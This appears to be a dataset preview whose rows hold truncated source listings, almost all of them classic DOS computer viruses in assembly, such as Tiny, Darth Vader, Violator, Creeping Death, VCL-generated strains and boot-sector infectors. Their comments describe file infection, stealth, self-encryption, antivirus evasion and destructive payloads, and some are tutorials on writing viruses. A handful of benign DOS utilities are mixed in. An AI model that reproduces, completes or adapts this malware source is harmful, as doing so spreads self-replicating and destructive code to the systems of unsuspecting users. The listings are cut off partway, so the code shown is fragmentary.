text stringlengths 0 20k |
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tinyv SEGMENT BYTE PUBLIC 'code'
ASSUME CS:tinyv
ASSUME SS:tinyv
ASSUME DS:tinyv
H00000 DB 0
H00001 DB 255 DUP(?)
program PROC FAR
ASSUME ES:tinyv
begin:
JMP pgstart ; start program
exlbl LABEL BYTE
db 0CDh, 20h, 7, 8, 9
pgstart:
... |
page ,132
name TINY143
title The 'Tiny' virus, version TINY-143
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Tiny' Virus, version TINY-143
; Di... |
;
; Virus Lession #2 'How to make a non-resident EXE infector'
;
; (c) 1992 Tormentor // Demoralized Youth
;
; Well, I had not time to comment this code as much as I wanted to,
; but here you are.
; What can be hard to understand is the .EXE header changes, but if
; you look at the description on the header (ex: Nort... |
VSize = 085h
Code Segment
Assume CS:Code
Org 600h
Bytes db 0CDh,20h,90h,90h
Start: mov si, 0100h
mov bx, offset Int21
mov cx, 0050h
mov di, si
add si, [si+2]
push di
movsw
movsw
mov es, cx
cmpsb
je StartFile
dec si
dec di
rep movsw
mov es, cx
xchg ax, bx
xchg ax, cx
Loop0: xch... |
;
; T-1400 Virus
;
; This is a non-resident overwriting self-encrypting semi-mutating .COM file
; infector. When an infected program is run, the virus will infect all the
; file in the current directory and displays a TridenT logo when finished with
; infecting. This is a bit more advanced virus than "T-1300" and a wil... |
;***************************************************************************
; Source code of the DEICIDE Virus, original author: Glen Benton
; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
; in Crypt Newsletter #7. The Crypt reader will also notice the
; DEICIDE listing has NO declarative r... |
;
;
; Donothing.asm
; By Khntark
; DATE: NOV 93
;
; Assemble with TASM 2.X
;
MAIN SEGMENT BYTE
ASSUME cs:main,ds:main,ss:nothing
org 100h
DONUTHIN:
VIRUS:
;
; J-... |
>>> Article From Evolution #2 - YAM '92
Article Title: Data Rape v2.1 Trojan
Author: Admiral Bailey
;=---
;
; DataRape 2.1 Trojan
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writers of this virus are Zodiac and Data Disruptor
;
; Notes:Just a regular trojan. This one puts the messege into t... |
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
reladr:
db 'We dedicate this little v... |
;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using
;VCL recommended switches. When screen is thoroughly dropsie'd, that is all
;letters have fallen to a single line across the bottom of the monitor,
;the routine will exit to DOS and restore the command prompt. I excerpted
;quite a bit of this f... |
title DOORS.ASM - Switch Color/Mono Screens On Keyboard Request
;
VECTORS segment at 0h ; 8088 / 80286 Interrupt Vector Area
org 9h*4 ; IBM PC Keyboard is Int 9H
KB_INT_VECTOR label dword ; Double word label
;
VECTORS ends
;
ROM_BIOS_DATA segmen... |
; Dan Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M dan.asm
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
start:
db 0e9h,0,0 ; Jump to the next command
virus:... |
;*******************************************************************************
;* *
;* D A R T H V A D E R ]I[ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the third release... |
From smtp Fri Mar 24 16:17 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
Date: Fri, 24 Mar 1995 16:21:26 -0500
From: Eric Kilby <ekilby@lynx.... |
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ... |
; A DEMO VIRUS FOR DSCE BY [PF]
.286
DEMO SEGMENT
ASSUME CS:DEMO,DS:DEMO
ORG 0000
VIR_LEN EQU OFFSET DSCE_END
EXTRN DSCE:NEAR,DSCE_END:NEAR
START: CALL BEG
BEG PROC
BEG ENDP
CLD
MOV AH,62H
INT... |
; Darlene Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M darlene.asm
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0... |
;*******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* ... |
; VirusName: Senseless Destruction
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-22-1993
;
; This is an mutation of Bad-Boy from 'Unknown'.
; Many thanks to the scratch coder of Bad-Boy...
;
; We've tried this virus ourself, and it works just fine.
; It uses the TSR, is non-overwriting,... |
;*******************************************************************************
;* *
;* D A R T H V A D E R - stealth virus *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
;* All Rights Reserved *
;* *
;* Virus infect ANY c... |
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
... |
; VirusName : DOOM!
; Origin : Sweden
; Author : Raver
; Date : 23/12/93
; My second scratch contribution to this issue. It's a simple non-over-
; writing, non-destructive exe-infector that "eats up" a bit memory on
; every run. It restore date/time stamps and uses an encryption routine
; to avoid discovery... |
; -DreamWorld?-
; "Created by Immortal Riot's destructive development team"
; (c) 93/94 Immortal Riot - All rights reserved
;
; Dedication:
; "If Metal Militia was dead, this virus should be deadicated to him"
;
; Notes:
; This was 'written' in one day. It su... |
DumbVirus segment
Assume CS:DumbVirus
Org 100h ; account for PSP
; Dumb Virus - 40Hex demo virus
; Assemble with TASM /m2
Start: db 0e9h ; jmp duh
dw 0
; This is where the virus starts
duh: call next
next: pop bp ; bp h... |
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
From smtp Tue Feb 7 12:40 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500
Date: Tue, 7 Feb 1995 12:43:16 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-L... |
; DONTELLO.ASM -- Donatello Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
co... |
INTERRUPTS SEGMENT AT 0H
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
ORG 21H*4 ;This is to use INT 21H
INT_21H LABEL DWORD ;which is the DOS function call interrupt
INTERRUPTS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ... |
; DataRape! v2.0 Infector
;
; I know you won't dist this, DD. Sorry its a bit sloppy, but it works.
;
; - Zodiac (06/26/91)
print macro
call prints
endm
cls macro
call clrscr
endm
code segment
... |
;DECOM - has few safety features right now, be careful =)
.model tiny
.radix 16
.code
org 100
include wolf.lib
start:
printf intro, ds
Release_Memory:
mov bx,(end_unmte-start+10f)/10 ;Release all but what
changealloc bx,es ;our prog needs.
Allocate_Block_For_MTE_Prog: ... |
;*******************************************************************************
;* *
;* D A R T H V A D E R ][ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the second release... |
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
;=====( DSA_Virus by Rajaat )==================================================
;
; Memory resident appending COM infector, residing in the stack space reserved
; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation,
; obtained through the DSA. File date/time won't be altered and the virus can
; circ... |
; VirusName : Digital Pollution
; Origin : Sweden
; Author : Raver
; Group : Immortal Riot
; Date : 25/07/94
; It's been a while since I released my last virus but here's a new one
; anyway.
;
; It's a pretty simple resident non-overwriting .com-infector with
; basic stealth function. Of course it resto... |
;This program is a virus that infects all files, not just executables. It gets
;the first five bytes of its host and stores them elsewhere in the program and
;puts a jump to it at the start, along with the letters "GR", which are used to
;by the virus to identify an already infected program. The virus also save
;target... |
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
; DeathHog, (will defeat read-only files and appends itself to all
; files)
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
; r/w access, nuisance routines supplied by KOUCH
;
; Appended by Kouch, derived from DeathCow/Define (author unknown)
virus_length equ finish - start
code ... |
===========================================================================
BBS: The Programmer's Inn
Date: 11-24-91 (19:52) Number: 3544
From: AHMED DOGAN Refer#: NONE
To: ALL Recvd: NO
Subj: DIR-2 Conf: (16) VIRUS
--------------... |
cseg segment public 'code'
assume cs:cseg,ds:cseg,es:cseg
;------------------------------------------------------------------------------
; This virus is an com, exe and partitiontable infector. It will become resident
; after the first reboot. The virus is stored above TOM but below 640k.
; When the virus is residen... |
TITLE DRIP 5-26-87 [4-21-88]
;Goes TSR, activate/toggle with Scroll Lock key.
;Characters randomly drip down/off the screen
LF EQU 0AH
CR EQU 0DH
;
Cseg SEGMENT
ASSUME DS:Cseg, SS:Cseg ,CS:Cseg ,ES:Cseg
ORG 100H
Drip proc near
JMP Start
int8Vec dd 0 ;save old Int 8 vector
saveDI dw 0
saveSI dw 0
video dw 0B... |
PAGE 59,132
;
;
; DC-B
;
; Created: 26-Dec-91
; Passes: 5 Analysis Options on: none
;
;
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start:
mov ah,4... |
;DOS1 virus by the TridenT research group - Direct Action appending .COM
;This virus infects .COM files in the current directory using FCB's.
;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed
;EXE files by using an 'M' at the beginning of files to mark infection.
;This virus requires a stub fi... |
;******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* Enchanced by: Lazy Wizard ... |
; DIAL.ASM -- HorneyMan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Frankenchrist
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
VTOP EQU $ ;Top of virus code
;Equates --------------------------------------------------------------------
VLENGTH EQU VBOT-VTOP ;Length of virus in bytes
MAXINF EQU 3 ;Max files to infect in each directory
... |
;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with: TASM DEMON.VIR
; TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
; !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structure... |
; DOS-EDIT.ASM -- Resident DOS Command Line Editor
; ================================================
CSEG Segment
Assume CS:CSEG
Org 0080h
KeyboardBuffer Label Byte
Org 0100h
Entry: Jmp Initialize
; All Data
; --------
db "(C) Copyright 1985 Ziff-Davis Publishing Co."
OldInterrupt21 dd ? ; Original In... |
; Com-infector ...
IDEAL ; Informatie voor de
MODEL SMALL ; assembler (TASM)
CODESEG ; om een COM file
ORG 100h ; te genereren.
... |
;****************************************************************************
;* The Dark Apocalypse *
;* (C)1993 by Crypt Keeper RoT *
;****************************************************************************
;Parasitic ... |
; DIR
;
; by Terminator Z
; this virus will infect com files when you do a directory .. it will infect
; every com file as it comes up on the directory listing.
;
; this virus will not infect files if they have a seconds field of 58 seconds,
; and will hide the file size increase on these files while the virus is
; m... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: DENISE.ASM
; Denise by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'FB'
.model tiny
.code
; Assemble with... |
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
comment #
Source code of Dichotomy
by Evil Avatar
#
;===<DIKOTOMY.ASM>=========================================================
;
; Dichotomy Virus
; (c) 1994 Evil Avatar
;
; TASM /M3 DIKOTOMY
; TLINK /X DIKOTOMY
; EXE2BIN DIKOTOMY DIKOTOMY.COM
.mo... |
; The Diamond Virus
;
; Version 2.10
;
; also known as:
; V1024, V651, The EGN Virus
;
; Basic release: 5-Aug-1989
; Last patch: 5-May-1990
;
; COPYRIGHT:
;
; This program is (c) Copyright 1989,1990 Damage, Inc.
; Permission is granted to distribute this source provided the tittle page is
; preserved.... |
;===========================================================================
;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS
;From: Mike Hathorn Refer#: NONE
;To: All Recvd: NO
;Subj: define Conf: (54) Virus
;--------------------... |
; VirusName : Digital Pollution
; Origin : Sweden
; Author : Raver
; Group : Immortal Riot
; Date : 25/07/94
; It's been a while since I released my last virus but here's a new one
; anyway.
;
; It's a pretty simple resident non-overwriting .com-infector with
; basic stealth function. Of course it resto... |
; DDIR.ASM -- Double Column Sorted DIR Command
; ========
; (C) Copyright Charles Petzold, 1985
;
; COM file format
;
CSEG Segment
Assume CS:CSEG, DS:CSEG
Org 002Ch ; Offset of Environment
Environment Label Byte
Org 007Bh ; Parameter for COMMAND.COM
NewParameter Label Byte
Org 0080h ; Parameter... |
; RAVAGE BSV Written by RP & muRPhy October 1996
; version 9.0 [ New Generation ] -- WIN95 compatible :-)
;
;Replicator module (c) 1994-96 RP, Bucharest
;Tips & tricks (c) 1995-96 muRPhy, Bucharest
;Final version full options Warning!!! Distructive sequence included!
;This source code is for educational purpo... |
; ------------------------------------------------------------------------------
;
; - Digital Death -
; Created by Immortal Riot's destructive development team
; (c) 1994 Raver/Immortal Riot
;
;-------------------------------------------------------------------... |
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
PAGE 59,132
;
;
; DEBUG
;
; Created: 16-Sep-94
; Passes: 5 Analysis Options on: none
;
;
... |
; -DreamWorld?-
; "Created by Immortal Riot's destructive development team"
; (c) 93/94 Immortal Riot - All rights reserved
;
; Dedication:
; "If Metal Militia was dead, this virus should be deadicated to him"
;
; Notes:
; This was 'written' in one day. It su... |
; DISKSCAN.ASM -- Checks out disk by reading sectors
; --------------------------------------------------
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 100h
Entry: Jmp Begin
; All Data
; --------
db ' Copyright 1986 Ziff-Davis Publishing Co.'
db ' Programmed by Charles Petzold '
D... |
fname equ 9eh ; pointer to filename in DTA
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
druid proc far
vstart equ $
start:
mov ax,2EBh ; used to baffle sourcer...
jmp $... |
page ,132
name V847
title The V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcod... |
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;------------------------------------------------------------------------------
;- V 500 ver 2.1 <03:04:91> GeMiCha *.COM -
;------------------------------------------------------------------------------
page ,132
name V500
title The V-500 virus
.radix 16
code segment
ass... |
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 3 dup... |
page ,132
name VHP_353
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to the virus code
pname equ 78 ;Offset of file name in the dir path
poffs equ 76 ;Offset ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;******************************************************************************
; Violator Strain A Source Code
;******************************************************************************
;
; (May/1/1991)
;
; Well, in memory of the first anniversary of writing Violator, I have decided
; to release it's source ... |
start segment
assume cs:start,ds:start
org 100h
boot equ 0f00h
kezd: db 52h,24h
jmp hideg
nop
jmp meleg
nop
jmp tamad
veg1: dw 0
kezd1: dw 0
meleg: pop si
pop ds
pop [si]
pop [si+2]
mov si,boot
mov di,7c00h
push cs
pop ds
xor ax,ax
mov es,ax
mov cx,100h
pushf
cld
rep movsw
popf
ok1: db 0eah,00,7ch... |
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to virus code
pname equ 78 ;Offset of file name in dir path
poffs equ 76 ;Address of 'PATH' string
err... |
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 3 dup... |
jmp short loc_3
nop
dec cx
inc dx
dec bp
and [bx+si],ah
xor bp,data_10
add al,[si]
data_14 dw 1
add al,[bx+si]
add bh,[bp+di]
mov data_12,al
add [bx+di],dl
add [si],al
add [bx+di],dl
add [bp+di],dh
loc_3:
xor ax,ax
mov ss,ax
mov sp,7C00h
mov ds,ax
mov ax,data_5
sub ax,2
mov ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
;******************************************************************************
; Violator Strain A Source Code
;******************************************************************************
;
; (May/1/1991)
;
; Well, in memory of the first anniversary of writing Violator, I have decided
; to release it's source ... |
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
; I encountered several errors in the original Violator code which I
; correc... |
PAGE 59,132
;
;
; VORONEZH
;
; Created: 2-Mar-91
; Passes: 5 Analysis Options on: AJW
;
;
data_1e equ 1C2h
data_5e equ 3
data_6e equ 0
data_7e equ 2
data_46e equ 100h
seg_a segment byte publ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
;****************************************************************************
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
;*
;* TASM/MASM compatible source listing
;*
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
;* Brother code and library .asm routines extrac... |
name a
code1 segment byte
assume cs:code1,ds:code1
org 0004h
D4 = $
org 0050h
N50 = $
org 0100h
BegAddr = $
Begin:
mov si,04h
mov ds,si
lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx
... |
; VMESSIAH.ASM -- Viral Messiah Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not T... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify... |
;
; VIROCRK v2.0, (c)1995 irogen [NuKE].
;
; Sorry, didn't feel like commenting this. You see, if I go through
; the code and comment it then I'll no-doubt end up re-writing half
; of it also, and I just haven't got the time.
;
;
segment cseg
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
lf ... |
;*****************************************************************************
;
; Violator - Strain B2
;
;*****************************************************************************
;
; (Sep/23/90)
;
; Development Notes:
;
; In this version, I have implemented various methods of thwarting users
; at... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
;
; Virus Lession #2 'How to make a non-resident EXE infector'
;
; (c) 1992 Tormentor // Demoralized Youth
;
; Well, I had not time to comment this code as much as I wanted to,
; but here you are.
; What can be hard to understand is the .EXE header changes, but if
; you look at the description on the header (ex: Nort... |
{ Beginning of source code, Turbo Pascal 3.01a }
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 13847; { AIDSYs code size }
Warning :String[42] { Warning message }
= ZThis File Has Been Infected By ... |
; Void Boot Virus
;
; This is a boot sector virus with a bunch of nifty features. It's
;stealth, it disables Win9x 32-bit disk access by deleting hsflop.pdr, it
;uses a rectal way of hooking int13h, so that the boot sector virus alarm
;isn't set off, it disables BIOS boot protection. It calculates an
;appropriate place... |
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
; I encountered several errors in the original Violator code which I
; correc... |
;------------------------------------------------------------------------------
; V 300 ANDROMEDA <??:??:90> *.COM
;------------------------------------------------------------------------------
xseg segment
Assume cs:xseg
xproc proc far
dec bp
inc bp
... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
;
; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth]
;
; This is the first lession on how to make an own virus.
; Hope you'll learn something of it...
; To be compiled with TASM 3.0 or higher.
;
; This virus is quite dumb and 'noisy'
; It updates the filedate and time, changes DTA before execution caus... |
PAGE 59,132
;==========================================================================
;== ==
;== MEMO20B ==
;== ==
;== Created: 18-May-92 ==
;== Passes: 5 ... |
PAGE 59,132
;
;
; V651
;
; Created: 17-Jan-80
; Version:... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify... |
Code Segment
Assume CS:Code,DS:Code,ES:Code
V_Length Equ Program - Main
F_Name Equ 0FC1Eh
F_Time Equ 0FC16h
F_Date Equ 0FC18h
HAdr Equ 0FD00h
DTA Equ 0FC00h
Org 100h
Main:
push [BOP] ;bewaar orginele off... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
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